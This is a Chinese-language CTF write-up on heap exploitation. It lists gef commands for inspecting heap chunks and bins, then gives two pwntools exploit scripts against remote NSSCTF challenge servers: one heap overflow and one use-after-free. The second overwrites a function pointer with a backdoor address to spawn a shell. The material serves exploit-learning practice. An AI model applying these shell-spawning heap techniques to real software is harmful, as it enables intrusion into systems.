首页 > 其他分享 >堆

时间:2024-02-21 21:14:40浏览次数:17  
标签: sendline gef io pwn recvuntil page

堆的一些指令

调用辅助调试堆的插件
gef > start
gef > heap-analysis-helper  
查看main函数汇编代码  
gef > disassemble main  
查看所有malloc出来的chunk
gef > heap chunks
查看特定的chunk
gef > heap chunk address
查看整个chunk中的内容
gef > x/20gx address
查看整个chunk中的重要信息  
gef > p *(mchunkptr) address  
查看bin相关信息  
gef > heap bins

堆溢出

简单的堆溢出

堆中需要自己计算实际堆栈分配大小,因为文件大小为32位系统所以1字长为0x4,并且需要对 2*SIZE_SZ 对齐(向上取整),故此计算表达式应该为 real_size = ( allocated_size + 0x4 + 0x7 ) & ~(0x7); 本题real_size = 0x20。也可以动态调试出heap的大小

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = remote("node5.anna.nssctf.cn", 28033)
elf = ELF("./pwn")
payload = cyclic(0x20) + b"/bin/sh\x00"
io.sendline(payload)
io.interactive()

UAF

Use After Free

在本题中指针在使用后未被置为NULL,这就会有UAF漏洞存在。

做这个题先反编译观察源码,发现在各个函数中都对page==0做了特殊处理,特别是我们无法在show和edit函数中使用page为0的页面,这就要利用UAF来绕过对page 0写的限制:在申请page 0后释放它,再申请page 1,根据堆管理器的特性,此时获得的指针还是指向之前分配给page 0的空间。这时候我们通过新获得的指针修改page 0中的内容,在show的时候指明展示page 0,即可调用通过payload篡改的地址,即后门函数,从而获取shell

#(*((void (__cdecl **)(char *))page + 1))(page);
#上述代码调用*(page+1)的函数func,参数argu为page,即func(argu)
#发现后门函数NICO,所以我们试着如下构造:
#argu=addr('/bin/sh')  func=NICO
 
from pwn import *
from pwn import p32
 
context(arch='amd64',log_level='debug',os='linux')
 
backdoor=0x08048642
file=ELF('./pwn')
payload=b'sh\x00\x00'+p32(backdoor)
 
# io=process('./pwn')
io=remote('node4.anna.nssctf.cn',28441)
#create page 0
io.recvuntil(b':')
io.sendline(b'1')
 
#delete page 0
io.recvuntil(b':')
io.sendline(b'3')
io.recvuntil(b'page')
io.sendline(b'0')
 
#create page 1
io.recvuntil(b':')
io.sendline(b'1')
 
#edit page 1
io.recvuntil(b':')
io.sendline(b'2')
io.recvuntil(b'page')
io.sendline(b'1')
io.recvuntil(b'strings')
io.sendline(payload)
 
#show page 0
io.recvuntil(b':')
io.sendline(b'4')
io.recvuntil(b'page')
io.sendline(b'0')
 
io.interactive()

标签:,sendline,gef,io,pwn,recvuntil,page
From: https://www.cnblogs.com/Anike/p/18026205

相关文章